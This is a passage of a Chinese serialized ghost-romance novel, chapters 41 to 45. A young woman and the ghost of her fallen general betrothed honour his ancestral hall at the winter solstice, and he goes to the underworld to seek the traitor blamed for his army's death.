桥夫人犹豫,还是问:“脉脉为什么哭,可是那浑人说了什么?” “没有哭。”她连忙解释,抱怨道:“刚刚日头大,与冯郎君说话时被阳光刺了眼。” 闻言桥夫人心下一松,伸手摸了摸她脸,叮嘱道:“日头最伤眼,一会儿让郁荷帮你用温水敷一会儿。” 桥妧枝心不在焉点头。 桥夫人知她不是听话的性子,也没再言,正要离开,目光随意一瞥,看到屋顶上的八卦镜,脸色微变。 悬挂在牌匾上的八卦镜被日光晒得煜煜生辉,透过镜子,她看到少女身侧多了一只属于男子的手臂。 桥妧枝没察觉到,迈过门槛向前走。 八卦镜内景象跟着改变,熟悉的脸映在镜中,桥夫人倏然一怔,似是不可置信。 是沈寄时,是他回来了。 她猛地转身,唤道:“脉脉。” 桥妧枝疑惑,眼角殷红分外明显,“阿娘?” 桥夫人强颜欢笑,“没什么,是想叮嘱你,别忘了用温水敷一敷。” “阿娘,我知晓的。” 桥夫人目送她远去,等了很久,剧烈跳动的心依旧没有恢复平静。 平妪不知发生了什么,见夫人一直不动,忍不住提醒,“夫人,再迟就要过了上香的最佳时辰了。” 桥夫人回神,摇了摇头,“不去了,以后都不去了。” 说完,她转身,重新进了府中。 沈寄时收回目光,心中多了几分了然。 桥妧枝一路都没说话,等进了自己的小院,直径推开屋门,转头看向身后之人。 “你进来。” 屋门被合上,沈寄时伸手想为她整理凌乱的发丝,却又被她躲开。 指尖微顿,他却没有收回,而是强硬将指尖落在她额前,将她发丝一点一点捋顺。 脱去沈郎君那张君子皮,长宁侯即便再死一千次一万次,骨子里还是强硬又固执的人。也是因此,即便他长了一张美人脸,活着的时候却很不被长安众女郎待见。 他不在意,因为他只需要被一个女郎喜欢便可。 桥妧枝没有再躲,任凭他为自己捋发,隔了很久终于开口,语气霸道:“沈寄时,你替我做两件事。” 眸中情绪翻涌,沈寄时想也不想,答应下来,“好。” 不问要做什么,只要是她说的,他都应下。 于是桥妧枝让他做两件事,一件是将那张坏了的婚书重写一封,一件是用那块美玉,雕一块定亲玉佩。 42 第42章 ◎“桥脉脉,你完了。”◎ 婚书易写,玉佩难雕。 那块玉资质上乘,不敢轻易下刀,沈寄时来来回回琢磨了许久,等终于雕好那日,正逢冬至。 冷玉上雕琢的图案与上一块别无二致,沈寄时看了许久,方才起身将玉佩拿给正在暖阁中躲寒的少女。 “玉佩雕刻好了。”他道。 少女昏昏欲睡,闻言伸手去要,等了许久,掌心依旧空一物。 她抬头,对上他视线,温声问:“玉呢?” 沈寄时目光落在她掌心浅淡的纹路上,盯了好一会儿,轻轻将玉放上去。 桥妧枝细指摩挲着白玉上的花纹,眉眼一弯,小心将新玉挂在腰间,又将之前那块满是裂纹的玉收进锦盒里放好,方才满意。 沈寄时目光落在她腰间摇晃的玉佩上,问:“不是要送我的吗,怎么又挂在你腰间。” 桥妧枝便抬眼,一本正经,“是送给平州沈郎君的,你是沈郎君吗?” 明明被戳短处,沈寄时却低笑出声。 暖阁很静,他笑声清越又好听,桥妧枝整理裙摆的手一顿,忍不住抬头。 他与从前不大一样了,初回长安那两年,他桀骜偏执,脸上总带着慑人的冷肃,极少笑,长安的小娘子们都很怕他。只有她不怕。而现在,他好像回到了还在蜀州的时候,身上那股偏执与戾气不见了。 她看得出神,轻声道:“沈寄时。” 清俊脸上笑意未消,他扬眉,一如既往,“嗯?” 桥妧枝心突然便静了,就算沈寄时无法往生也没关系,等她百年之后,她们一起做鬼也没关系,她也不往生,那时间比做人可长多了。 郁荷立在门外唤她,“女郎,夫人叫您去吃饺耳。” 桥妧枝立即道:“这就来。” 她说着,抬步往外走,却在经过沈寄时时脚步一停,垫脚亲在他耳侧。 沈寄时没动,眸光一暗,多了几分苦涩。 门开了又合,一缕寒意钻进暖阁,又很快消散。 膳房内热气腾腾,桥妧枝行至门前,便闻到一股浓郁的醋香。 桥大人小酌温酒,见她过来,率先看到她腰间悬挂的玉佩,问:“脉脉何时买的新玉,成色不错。” 桥夫人跟着看过去,目光微顿,又很快移开。 “就是……” 桥大人迟疑道:“上面的花纹好似在哪里见过,你拿过来,我细看看。” 自然是见过的,与当年沈家送来的定亲玉佩一模一样。 桥妧枝有些心虚,当作没听见,敷衍地嗯了一声,便埋头吃饭。 桥夫人看了她一眼,给还在思索的桥大人端了一碗饺耳,低声道:“吃东西也堵不上你的嘴,看什么看。” 说完,又看向快将脸埋进碗中的桥妧枝,轻声道:“一会儿给沈寄时拿些饺耳去。” 舀虾羹的手一顿,桥妧枝眼皮重重跳了几下,指尖都白了,却听桥夫人若无其事道:“他是男子,贡品要多放些,免得在九泉之下还吃不饱。” 剧烈跳动的心终于慢了下来,少女吞下口中肉羹,轻轻嗯了一声,飞快完吃饭,就说自己要去放贡品,匆匆离开。 “夫人今日怎么说这事?” 桥大人将杯中酒一饮而尽,语气也多了几分惆怅,“你知晓的,提起沈危止,脉脉又要难过。” 桥夫人收回目光,脸上没什么情绪,“怕是不会了。” 杜康酒烈,桥大人上了年纪,温酒下肚,没喝多少便开始脸颊发红,“夫人说什么?” “没说什么,少喝些酒。” 桥夫人神情恹恹,撂下筷子,起身走了。 已有半醉的桥大人微微眯眼,觉得自家夫人越发让人捉摸不透。 桥妧枝跑回了暖阁,她气喘吁吁立在门口,问:“沈寄时,你要不要吃饺耳?” 寒热交替,她说话时哈出几口白气,明亮的眸子目不转睛看着他。 沈寄时没说话,走到她身边,一把将人抱进怀里,鼻尖埋进她颈侧发间。 有些痒,桥妧枝没躲,伸手环住他脖颈,“你吃不吃饺耳,是牛肉馅的,很好吃。” 话音落下,她便被抱得更紧,两人相拥,却只能听到一人心跳。 莫名的,桥妧枝眼底有些发热,她觉得他身上可真冷,比冬日的风还冷,明明以前,是那样炽热滚烫。 “桥脉脉。” 他说,“你完了,你这辈子都嫁不出去了。” “谁说的,长安好多郎君都想娶我,我们退婚第二日,求亲的门槛都要被踏破了。” 是有这回事的,她们退婚第二日,便有郎君托媒人前来提亲。 那日沈寄时原本应当在城内当值,闻言当即冷了脸,直接告假,提着银枪往桥府大门前一站,生生吓退了一众前来提亲的郎君。 他从白日站到晚上,等到再无媒人敢踏进桥府半步,方才走人。 桥妧枝直到现在都记得当时的心情,大概是既松了口气,又有些愤恨。 明明是他做错了事,却连句软话都不肯说。明明与她退了婚,还不许别人来提亲,当真是个十恶不赦的浑人 似是也想到了这件事,沈寄时埋在她颈间哼笑出声,没再说话,只将怀中少女抱得更紧。 那日的饺耳沈寄时没吃,他说:“桥脉脉,你陪我回一趟家吧。” 暖阁太热,桥妧枝被抱得太久,只觉头脑有些昏沉,她知道,他的家,在兴宁坊最深处。沈萤走后,偌大的沈府就只剩下一个日常扫打的奴仆。 — 沈寄时跪在沈家祠堂里没有抬头,或者说,他不敢抬头。 世代金戈铁马的将门世家,祖辈皆曾在战场上立下赫赫战功,一点一点将沈家军壮大,可这些却都在他手上葬送,八万将士,他没有将他们好好的带回来。 谁能想到,生前封狼居胥,十七岁便被封长宁侯的沈寄时,到头来,却无颜再见沈家列祖列宗。 桥妧枝立在他身边没有动,她知他的心思,唯一能做的就是在这里陪他。 她看着那些林立的牌位,眼眶发酸,有些喘不上气来。 这里的人,有的早早战死沙场,有的鞠躬尽瘁英年早逝,只有寥寥几个善始善终。 沈寄时是战死沙场的其中一个。 目光落在写有他名字的牌位上,桥妧枝沉默看了良久。 “桥脉脉。”他没抬头,低声问:“我死后,可有谥号?” 她眸中水光攒动,低低吐出两字:“忠烈。” 沈寄时一默,“我不配。” 他不配统率三军,更不配做沈家人,他应当被万千人唾弃,被世人咒骂。 “我不配”这三个字如同一把剑不断翻搅她的胸口,她太想说些什么,可还未来得及说出口,便听到远处传来愈来愈近的脚步声。 有人过来了。 如同他们一样,在冬至傍晚,来到几乎成为一座空宅的沈府。 【作者有话说】 不肯过江东的人一直是沈寄时。 —— 有点短小 这个故事最开始在我脑子里的时候是甜文的,男主其实没有死,他被救下,一直以生魂形式走完这个故事。但是后来,它成了不那么甜的文,男主也是真的死了。 43 第43章 ◎年少轻狂,悔教卿卿伤心【修】◎ 许久无人打扫,祠堂前悬挂的灯笼早已落了一层灰,风一吹,陈旧的白灯笼轻轻摇晃,灰尘撒下,落在来人肩头。 周季然毫不在意肩膀落尘,径直走进祠堂,目光落在供台上那十数个牌位上,下意识皱眉。 抬手将写有裴雲名字的牌位与旁人隔开,又拭去落在上面的尘垢,周季然神色稍霁。 “阿雲。” 他掀开带来的食盒,自顾自道:“又一年冬至,我来看你了。” 他微顿,语气带了些怅然,“沈萤一走,沈家就空了,留在这里的奴仆不上心,任由这里落了灰。我原本想将你接到我那里,但又觉得你更想留在这里,怕真将你带走了,你会怪我。我知道,你还是更想和沈烈在一处的。” 他将尚有余温的饺耳放到盘中,又点了三炷香,看那几缕白烟向上飘荡,直到将牌位上的名字遮挡的模糊不清。 “你送我的那枚玉佩寻到了。” 他摊开手露出掌心玉佩,低声道:“浮屠峪一场恶战,原以为再也找不到了,不成想被人捡到带回了长安。这是不是说,你我缘分未尽。” 自然是无人应答,他诉说之人,早就已经魂归天地,世间寻觅不得。 周季然唇角笑意淡去,又重新将玉佩收回,没再说话。直等到三炷香燃尽,一口一口吃掉已经凉透的饺耳。 他自己包的饺耳,形状并不好看,味道也没滋没味,但他还是一个不落地吃完了。 面无表情将落在供台上的香灰扫走,周季然突然道:“桥姑娘,你看了那么久可看够了?” 躲在供台后的桥妧枝脸上闪过一丝慌乱,下意识看向身边的沈寄时。 他们挨得很近,祠堂内昏暗,他偏头,低声安慰道:“别怕。” 心中那点惶恐渐渐消失了,桥妧枝点头,一咬牙,从供台后走出来。 周季然没有看她,目光依旧落在正前方的供台上,一动不动,好似一座陈年雕像。 天色将晚,远处唯留一缕霞光。 周季然指腹抚上裴雲的名字,低笑道:“果然,能在这个时候出现在这里的人,除了我,就只有女郎了。” 桥妧枝抬眸,语气疏离,“周将军。” 并无太多寒暄之词,他们本就不相熟。 在桥妧枝的记忆中,这位周将军独来独往惯了,在蜀州时只偶尔会与沈寄时一同去酒肆买酒,大多数时候都是亦步亦趋跟在裴将军身后,极少会主动与人攀谈。 后来回了长安,裴将军一死,她便再也没有见到他与沈寄时一同出现,知道那次,他们在演武场豁出命一样打了一架。 裴将军…… 她眼皮一跳,想到那日河边悠悠飘远的河灯,主动开口:“周将军口中的意中人,是……” 她顿了顿,还是没有将那个名字说出口,她不愿辱没了裴将军。 周季然却接上她的话:“是阿雲,我的意中人是阿雲。” 于桥妧枝而言,阿雲这两个字太过陌生,陌生到有些反应不及。 她抿唇,下意识看向身侧沈寄时。 察觉到她的目光,沈寄时回望,那张足够张扬的脸藏在阴影中,扯出一抹讽笑。 “女郎不说话,是觉得恶心吗?”见她久不吭声,周季然突然行至她身边,语气微冷。 恶心吗? 其实是没有的,她只是觉得有些荒谬。 桥妧枝眼神不躲不避,直直望回去,那双眸子一如既往的干净纯粹。 周季然突然觉得有些无趣,抬脚越过她,向外走去。 在他即将踏出门槛时,桥妧枝出声道:“裴将军她,一直视你为亲子。” 脚步微顿,周季然嘲讽道:“我有父有母,谁要做她的’亲子‘!” 他没有着急离开,只微微眯眼,看着天际渐渐隐去的霞光,道:“其实女郎,你我才更像是同一类人。” 桥妧枝猛地抬头,却听他道:“一样的固执和偏执,只不过女郎总是喜欢用一张温婉的面具,掩盖自己的本性。” 才不是! 桥妧枝本能地排斥他这样的说法,下意识皱起眉。 周季然不在意她的反应,自顾自说完,头也不回地离开。 少女僵立在原地,眉眼低垂,一动不动,直到一只微凉的手捧住她的脸,强行将她走远的思绪唤回。 她抬眼,对上沈寄时好看的眉眼,莫名有些委屈。 “别听他胡言乱语,周季然就是个疯子,以为全天下都与他一样疯!” 他眉眼压低,语气不容置喙,“你与他从来不一样,桥脉脉,你放不下我,你也知我难以放下你,你我之间,与那个疯子所言,从来不一样。” 他说着,指尖在她下颌处轻轻摩挲,低头苦笑,“说到底,是我年少轻狂,多惹离别苦,悔教卿卿伤心。” “你如今也不大,怎么说起话来好似已经几百岁一样。”她眼底一热,眨了眨眼,目光落在他发间,低声道:“去时刚弱冠,今年不过二十有二。” 她抬手将他长发散下,嗡声道:“你二十岁生辰在冀州战场上过的,为何没有冠发?” 自从退婚之后,他们便再未相见。那时光顾着赌气,即便他生辰,也未送一封家书往冀州去。 沈寄时敛眸,与她十指相扣,只道:“没来得及。” 其实不是来不及,是想回长安之后,让她看着他戴冠。 掌心相贴,桥妧枝眉眼微弯,侧头看他,“那你将就一下,现在只有我看得到你了。我去选个好看的玉冠,挑个好日子,为你冠上发吧。” “好。” 天际霞光终于消失殆尽,明月高悬,撒下一地月光,桥妧枝意识到什么,微微侧头,长睫微动。 “沈寄时。” “嗯?” “下雪了。”她声音多了几分哽咽,“你的肩上,又下雪了。” 没有料到周季然会来,他们误了回去的时辰。 沈寄时一怔,没有去管肩上霜雪,转而将她带进一间久无人气的屋子。 即便穿着氅衣,寒意依旧入骨。 他长睫上已经附了一层霜,温声哄道:“夜已深,这是我的屋子,卿卿不要乱跑,我今夜,护不住你。” 屋内没有暖炉,这样寒冷的季节,他身上的冷意更甚屋外寒风。 桥妧枝语气涩然:“我不乱跑,我守着你。” “也不必守我,去睡一觉,明日一睁眼,我便好了。” 声音越来越低,渐渐无知无觉。 “沈寄时?”她轻唤。 无人应答,他已经听不到了。 屋檐上亮着一盏灯笼,桥妧枝摸索许久,终于在桌案上摸到半只蜡烛。 烛火燃起,疲倦袭来,她坐在他身边,轻轻将头倚靠在他肩胛处,缓缓阖上眸子。 真冷,还好她今日穿了极厚的斗篷,尚还可以忍受。 — 沈寄时清楚记得,浮屠峪一战,周季然没有上战场。 — 成平二十八年七月,冀州落了一场寒雨。 风萧萧,少年将军裹挟一身水气掀帐而入,目光在众人身上逡巡片刻,冷声道:“怎么回事?” 李副将双目充血,又怒又悔,“侯爷,是末将之责!我们追寇时中了埋伏,周将军为了救我,手臂中了一箭,直接穿透了骨头。” 沈寄时面色微寒,冷硬问:“战鼓已停,为何追寇?” 李副将猛地跪下,正要请罪,却听一直闭目的周季然开口:“东胡三王子受了重伤,李副将追上去,一刀将他脑袋砍了下来!长宁侯,三王子的脑袋换我周季然的一条手臂,这买卖不亏。” 沈寄时眼皮一跳,看向坐在帐中周季然。 他身受重伤,面色苍白,表情却不见痛苦。 双目对视,两人看向对方的目光都带着疏远与淡漠。 他们之间,曾是生死之交,只是如今,勉强能称为同僚。 悠悠岁月转瞬即过,终不似,少年游。 沈寄时率先收回目光,对季副将道:“功是功,过是过,自己去领军棍。” 撂下话,转身就走。 军中大夫将周季然伤口包扎好,道:“周将军手臂伤势极重,至少百日内不要舞刀弄枪,否则手臂难保。” 沈寄时脚步一顿,毫不犹豫,冷声道:“既然如此,浮屠峪一战周将军不必前往,有李副将在。” “不行!” 周季然眉宇间染上阴鸷,“她说过,上只要了战场,将军就没有退缩的道理。” 这个她是谁,彼此心知肚明。 沈寄时头也不回,不容置喙,“这是军令!这一战,大梁必胜,有你没你,没什么两样!” 说完,大步迈出军帐。 身后传来周季然暴怒的声音,他冷笑,莫名想起自己被阿娘抽打的那几道鞭子。 阿娘…… 他下意识向西看去,却见太行山脉重峦叠嶂,举目眺望,不见故土长安。 长安在山外,要越万重山。 收回目光,他想,等到这一战胜了,他便为父亲阿娘立个碑吧,碑文拓印还没想好,却也不急,他可以慢慢想。 “侯爷!” 身后传来季副将泣血般嘶吼。 沈寄时心下一跳,转身,瞳孔猛地一缩。 星移斗转,记忆如飞鸟般掠去。一转眼他已立于尸骸遍地,血流成河的战场上。 一把胡刀划破李副将喉咙,鲜血喷涌而出,洋洋洒洒落在沈寄时的止危枪上。 目眦欲裂,他看到李副将睁着眼,一边抽搐一边对他道:“侯爷,我们回不去了!” 回不去了…… 为何会,回不去了? 明明大梁,已经胜了。 — 晨曦透过窗缝照进来时,寒意退去,桥妧枝悠悠转醒。 同一个姿势僵持一夜,她一动,肩膀便泛起一阵酸痛。 天亮了,她猛然清醒,立即抬头看向身侧之人。 “卿卿。” 他不知何时已经醒了,然而望向她的眸子却犹如一汪深潭,无端让人心慌。 他说:“我好像忘了一些事。” 桥妧枝细指抚过他眉骨,强撑起一抹笑,“忘记了什么,沈寄时你别慌,我们可以慢慢想。” “我忘记,我因何而死了。” 或者说,他忘记,他为什么会败。也忘记,周季然到底有没有上战场。 记忆仿佛被强行挖空,他什么都记不起来。 【作者有话说】 小沈:谁对我下蛊了! 小桥:什么蛊? 小沈:情蛊! 小桥:…… 44 第44章 ◎幽冥污秽,你要留在人间◎ 浮屠峪一战,于大梁而言,是一场长久的阵痛。 那一年,长安满城素缟,行在长街上,随时能听到巷间传出呜咽哭声,一入夜,未烧尽的冥钱便随风飞的到处都是,夜里的长安俨然成了一座幽冥鬼城。 “八月初八,消息传回长安,圣人怒急攻心,一病就是数日,醒来后的第一件事,便是彻查浮屠峪一事。案子牵连甚广,查到第三日时,朝中就已经有不少人丢了乌纱帽。” 桥妧枝撑伞与他并肩而行,说起自己知道的那些事,语气中满是低落,“这些事都是我后来才知晓的,那时爹爹阿娘没有告诉我,我还不知你已经出事了。” 沈寄时垂眸看她,听得认真。 桥妧枝错开他的目光,恨声道:“九月初九,总算有了眉目,原是冀州节度使狼子野心,通敌叛国,假传军情。” “赵曾?”沈寄时脑海中闪过此人模糊的影子,只依稀记得是个志大才疏的武将,再多的,却想不起来了。 “是他。” 提起这个名字,桥妧枝握着伞柄的手用力到发抖,“八万将士死于他之手,长安百姓群情激奋,要求将他当众凌迟。只是,早在七月十四,他便被周季然斩杀于冀州,尸骨被马蹄踏成了肉泥。” 她顿了顿,想到沈寄时身上那些伤,颤声说着狠话:“死得太过便宜,他明明就该……就该被五马分尸,凌迟处死,应当下地狱,永世不得超生。” 冰凉的手掌突然覆上她微微颤抖的手,桥妧枝一颤,仰头看他。 沈寄时抿唇,神色晦暗,一点一点将她手指掰开,目光落在她被指甲掐伤的掌心。 粗粝指腹划过那些甲印,带起一阵战栗。 桥妧枝指尖微颤,冷静下来,任凭他握着手,轻声问:“沈寄时,你想起来一些吗?” “没有。” 他用尽全力去想,可那段记忆仿佛被什么东西笼罩起来,让他窥探不到一分一毫。 他看着她,自嘲笑道:“卿卿,我应当,想不起来了。” 桥妧枝鼻尖发酸,“没关系,总有一日能想起来。我去问问阿爹,说不定问得再详细些,你就想起来了。” 沈寄时没有回答,只是握住她手腕,如同很久以前一样,拉着她走在长街上,“桥脉脉,天冷,回去吧。” 天光初亮,长街寂静,只有寥寥几个摊贩出摊。 有人看到一个女郎撑伞行在长街上,她纸伞举得很高,微微倾斜,为身侧空白处撒下一层阴影,就好似……就好似她身边还有一个无法被人瞧见的人一样。 看她的商贩微微一怔,脑海中突然浮现志怪中所说的鬼魅,手一抖,青天白日里出了一身冷汗。 一夜未归,说不心虚是假的,桥妧枝行至桥府大门,缓缓放轻了脚步。 原本应当守在门外的家丁不见身影,她悄悄松了口气,庆幸于原本想好的许多措辞都用不上了。于是一路往自己的院落中走去,带着沈寄时将院门一关,上了暖阁。 厅堂内 桥夫人支着手臂轻抵额头一侧,无奈问:“脉脉回来了?” 平妪道:“已经回来了,看样子,昨夜应该宿在沈府了。” “她总是这样,小时便不让人省心。”桥夫人眉眼划过一丝伤怀,“以前每次找不到人,只要去沈府那里寻准能找到,没想到如今还是。” 桥夫人闭目,温声道:“只是,即便不愿承认,我也不得不承认,自从知他在脉脉身边后,我便安心不少。” 平妪隐隐猜到夫人口中的他是谁,却没有多问,只默默将桌案上已经有些凉了的茶撤下,换了一壶新的来。 冬日易嗜睡,回到暖阁,桥妧枝第一件事便是抱着小花窝在榻上睡了个天昏地暗。 往年这个时候,她已开始酿明年新酒,等第一场冬雪降临时埋到合欢树下,待开春,再从树下将酒坛挖出,一大坛梅花酒,她断断续续能喝上一整年。 可今年不同,她双肩魂火虽已重燃,可这些时日遇到太多鬼怪,没了精气神,整日整日的睡。 沈寄时目光落在她因熟睡更显柔和的眉眼上,微微扬唇,转身出了暖阁。 傍晚,桥妧枝是被一股浓郁梅香唤醒的,她睁眼,看到数枝绿梅插在水中,含苞待放,隐隐有要开的架势。 她抬头,看到沈寄时坐在不远处的桌案前,正神情专注地擦拭手里那柄长枪。 枪头已经锈迹斑斑,他却一寸一寸,擦得尤为认真。 桥妧枝有一瞬间恍惚,险些以为眼前人又是她的幻觉。 她记得,沈寄时很爱惜他的兵器,无论刀枪剑戟,只要在他手上,总会被他擦的一尘不染。 “兵器是武将的魂,要时常擦一擦。” 某一年,少年坐在墙头,神采飞扬,语气坚定:“只要我还能战,就不会让我的兵器变脏。唯一能弄脏它的,只有敌人的鲜血!” 他的话犹在耳边,可时过境迁,他的止危枪生了锈,再无用武之地了。 桥妧枝突然觉得有些难受,忍不住出声:“沈寄时。” 被唤之人动作一顿,抬头扬眉,“醒了?” 他起身,高大的身影遮住暖阁内的烛光,缓缓向她走近。 那股淡淡的香火气越来越近,沈寄时行至她身前,她心中那股郁气却依旧没有消散。 “沈寄时。”她仰头看他,“你的枪生锈了,我去找些麦麸,混上醋水,看看能不能将上面的锈迹除去。” 她说着就要起身,却被他攥着手腕,拉了回去。 “陈年老锈,除不下去的。” 桥妧枝心一紧,连忙道:“一两年的锈迹而已,能有多久。试一试,万一呢。” 沈寄时眸光微暗,哑声道:“即便是除去上面的锈迹,那柄枪于我而言,也已经没什么用了。” “谁说没有用的,你可以练枪给我看。”她说着说着有些急了,“我会看的,沈寄时,我会看的。” 冰凉的指腹落在她泛红的眼角,清润的声音略带笑意,“桥脉脉,你怎么总是为我难过,以前是这样,如今还是。” 桥妧枝立即语塞,下意识想,因为她是很固执的人啊。 别说一两年,哪怕再过十年二十年,她还是会为他难过,为那个意气风发的沈寄时难过。 “桥脉脉。”他低头,将吻落在她眼尾,蓦然尝到一丝咸涩。 怔然一瞬,他喉咙滚动,意识到什么,低声道:“那柄长于长宁侯而言很重要,于沈小将军而言也很重要,但是对于如今的沈寄时而言,并没有卿卿想象中那么重要。” 他在说假话,她知道。 有些泄气,又有些生气,她微微偏头,肩膀耷拉下来。 沈寄时抚过她柔顺长发,道:“桥脉脉,今夜我可能要短暂离开。” 搭在他腰间的手微微收紧,“去哪儿?” 沈寄时眸光微暗,没有隐瞒,“黄泉九幽,寻赵曾。” 血债血偿,若当真是他害的八万沈家军惨死,即便是做了鬼,他也要让他难有来生。 桥妧枝钻进他怀中,“我随你一起去。” 掌心落在她后颈,沈寄时将人按在怀中,低声道:“你在这里等我,人间一日,黄泉一年,兴许喝上一盏茶的功夫,我便回来了。” 不知为什么,他越是这样说,桥妧枝便越是心慌。 人间黄泉隔着天堑,她怕他一走,她又寻不到他了。 她道:“沈寄时,我下过黄泉的,我也去过酆都,我可以与你一同去。我也不害怕鬼魅,你不用担心我拖累你。” 抱着她的手臂渐渐收紧,他语气涩然,“是我拖累你,桥脉脉,幽冥污秽,你要留在人间,等我来寻你。” 这个等字,她很不爱听,可却莫名觉得他这句话很动听。 她沉默半响,依旧觉得难过,却哼声道:“你若是不来寻我怎么办?之前不是一直要让我忘了你吗?” 他静默一瞬,郑重道:“不会不寻你,你在哪里,沈寄时就在哪里。” 等他亲手解决赵曾,今后无论生死轮回,他都只为桥脉脉一人。 45 第45章 ◎胡不归◎ 人间战乱不断,黄泉路变得格外拥挤。 黄泉路上四面虚无,青石板整齐陈铺而上,于此间向上,看不见星辰日月,向下,看不见尘埃土地,向前,所见一片虚无,向后,望不见挚友亲朋。 死状凄惨的各路鬼魂推搡着往前走,神情百态,或木讷或不甘,或悲痛或胆怯,却包含了人间众生相。 周而复始,来去之间,走过这段路,便与人间一刀两断。 沈寄时在黄泉虚无地待了三百年,死在他手上的鬼怪残魂不计其数,身上的煞气收不住,他行至这里时,吓得过路新魂鬼哭狼嚎,四散奔逃。 还未踏足望乡台,那些哭声就惊动了正在值守的鬼差。 鬼差匆匆赶来,看到他时明显一怔,连忙道:“长宁侯,百年未见,你今日前来,所谓何事?” 沈寄时身上的衣服不知什么时候换成了死时所穿的那身玄甲,他胸前破了个窟窿,正源源不断往外流血,仿佛永远都流不尽。 他眉眼之中结了一层冰霜,开门见山,“我来黄泉寻一人,名为赵增,长安人,生前曾任冀州节度使,如今这人,可在黄泉幽冥处?” 鬼差迟疑片刻,又问:“敢问长宁侯,此人与你是何关系?” 沈寄时面上浮起一抹狠戾,一字一句道:“冤亲债主。” “他与我并无关系,他欠着的,是数万将士的性命。” 鬼差静默片刻,记住这个名字,转身进了酆都城。 沈寄时留在原地,看到酆都城外鬼魂排了极长的队伍,便明白这些时日,人间死了多少人。 一等便是数日,直到第七日时,沈寄时已经烦不胜烦,鬼差姗姗来迟。 “长宁侯。” 鬼差拿着一个册子,看着上面的记载,道:“此人生前所做恶事皆被记载在此簿,酆都大帝都已一一审判,绝无遗漏。” 沈寄时眉眼染上不耐,“你的意思是,他在酆都?” 鬼差解释:“此人罪大恶极,已入了畜生道,历万世轮回之后,自会神魂消散,如今已经是第十世了。” “我不问来生,只问你,如今人在何处?” 鬼差目光落在他身后不远处,指着黄泉路上缓慢挪动的一只肉虫道:“就在此处。” 沈寄时侧身,看着那只缓慢向前挪动的丑陋虫子,眸光晦暗,冷笑道:“他欠数万将士性命,孽债还未还清,为何不在九幽受刑?” 既能入轮回,便说明他生前死后都无冤屈,八万将士身死之事,确实与他有关。 “长宁侯,赵曾已经受过百年刑罚,虽入轮回,可每一世都在畜生道,待万世轮回之后,自会神形俱灭。” 沈寄时闻言,又看向地上蠕动的肉虫,良久,方才哑声道:“还有一事,黄泉拥挤,我想问问,那八万沈家军,如今都已入了轮回吗?” 鬼差看着眼前曾为大梁出生入死的少年将军,将手中帐薄一合,面露不忍,却还是道:“长宁侯,冀州节度使的刑罚已定,但是你的八万将士,如今还困在枉死城,难以轮回。” — 桥妧枝蹲在土地庙前,将带来的冥钱放进铜盆里烧。 窈娘坐在在她身边,懒道:“你前几日给我烧来的胭脂被一只不懂事的小鬼当做糖啃了一口,这几日我都没有上胭脂,他们看到我,都说我憔悴了不少。” 她拆穿:“你之前也都不涂胭脂的。” “今时不同往日,我前不久看到书上说,由俭入奢易,由奢入俭难,是这个道理吧。” 桥妧枝嗯了一声,问:“你不是不识字吗,谁叫你的?” 窈娘喔了一声,哼着小曲不说话了。 她死得早,哼唱的都是已经过时的童谣,在这荒无人烟的土地庙,竟显得有些恐怖。 “那我下次再给你多烧几盒胭脂,顺道再烧几身好看的衣服。” 桥妧枝心不在焉,一边说,一边将冥钱投入铜盆,堆积在下面的还没有烧完,就又放下去一把。 窈娘咯咯笑起来,“等我有时间去鬼市买就好了,比长安集市上便宜不少,而且你给我烧了那么多银两,够我用到魂飞魄散了!” 她说得夸张,其实冥钱最不经用,一个硕大的元宝,拿到鬼市里连半盒胭脂都买不起。 桥妧枝抿唇,不置可否,只看着那些冥钱在铜盆里燃烧殆尽,渐渐化成一推灰烬。 火光将她眸子映衬得格外明亮,窈娘看着她,忍不住问:“你今日怎么神思不属的,是不是病了?” 说着伸手想要去摸她额头,只是还没碰到,余光就瞥见她头上那朵绒花亮了一下,于是讪讪缩了回去。 她感叹道:“真好,肯定有人很爱你。” 即便死了都要分出一缕人魂护着她,真是羡煞旁人。不像她,生前没有人爱,死了也只有她给她烧些祭品。 这女鬼说话太莫名,桥妧枝不吭声,又放了一把冥钱,手离开时,乱窜的火苗险些撩到她指尖。 没有受伤,却还是被灼了一下,她蹭了蹭,继续往铜盆里塞冥钱。 见她一直在出神,窈娘忍不住问:“说起来,一直跟在你身边那个鬼郎君呢?” 她犹豫了一下,讪讪道:“以前你来给我烧东西时,他就一直守在外面,我虽然有些怕他,但是他这次没跟着你来,倒是有些不习惯了。” 桥妧枝终于回过神来,道:“他去黄泉了。” “去黄泉?”窈娘错愕不已,“是被鬼差抓走的吗?他又不能入轮回,鬼差抓他做什么?” “不是被抓走,是去寻人。”桥妧枝解释。 “寻人?”窈娘更不解了,心直口快道:“我们这些入不了轮回的鬼总是很怕下面那些凶神恶煞的鬼差,他一去,还回得来吗?” 声音越来越小,说到最后,只剩下极轻的嘟囔。 窈娘知道自己嘴快了,有些尴尬,道:“我乱说的,你别放在心上。” 桥妧枝握拳,没吭声。 他明明说只去一盏茶的功夫,如今已经是第二日,换算成黄泉时辰,已是半月,他还没有回来,也不知是不是遇上了什么变故。 “会回来的。”她说。 见她终于肯说话,窈娘心下一松,忍不住凑近她道:“女郎,你好像特别相信他。” “相信。” 冥钱烧完,桥妧枝站起身,拍了拍裙摆上沾染的灰尘,语气坚定,“他既说了会回来,就一定回来。” 她说话时眼中有亮光,看得窈娘莫名觉得心软,忍不住道:“女郎,你是不是喜欢那个郎君。” 问这话其实是出于调笑意味,原本不曾想她会回答,可下一瞬,却听她道:“喜欢啊。” 少女衣衫被风吹动,墨发飘飞,极为认真地对窈娘道:“我喜欢他,喜欢很多年了,早在很久很久之前,他拉着我跑出长安时,我就已经喜欢他了。” 她太坦然,倒让窈娘十分错愕,歇了调笑的心思,讷讷道:“可是女郎,人鬼殊途。” “人鬼殊途,但殊途同归。其实这些话,都是说给世人听的。” 供桌上的三炷香烧完,桥妧枝对她道:“等我改日再来看你,你要是有事寻我,就去长安兴宁坊桥府。长安城内道士多,路上小心些,别被那些人抓了。” 窈娘下意识点头,看她背影越走越远,突然觉得鼻尖有些泛酸。 至于为什么有些难过,她自己都不知道。 桥妧枝并没有着急回府,只沿着朱雀大街缓慢向前走。 冬至已过,还有一个多月便是新年,长安集市也多了几分生气,沿路可见书生在路边卖字画春联,有些书生身边还会跟着家中妻子,坐在一旁剪窗纸,较之以往热闹不少。 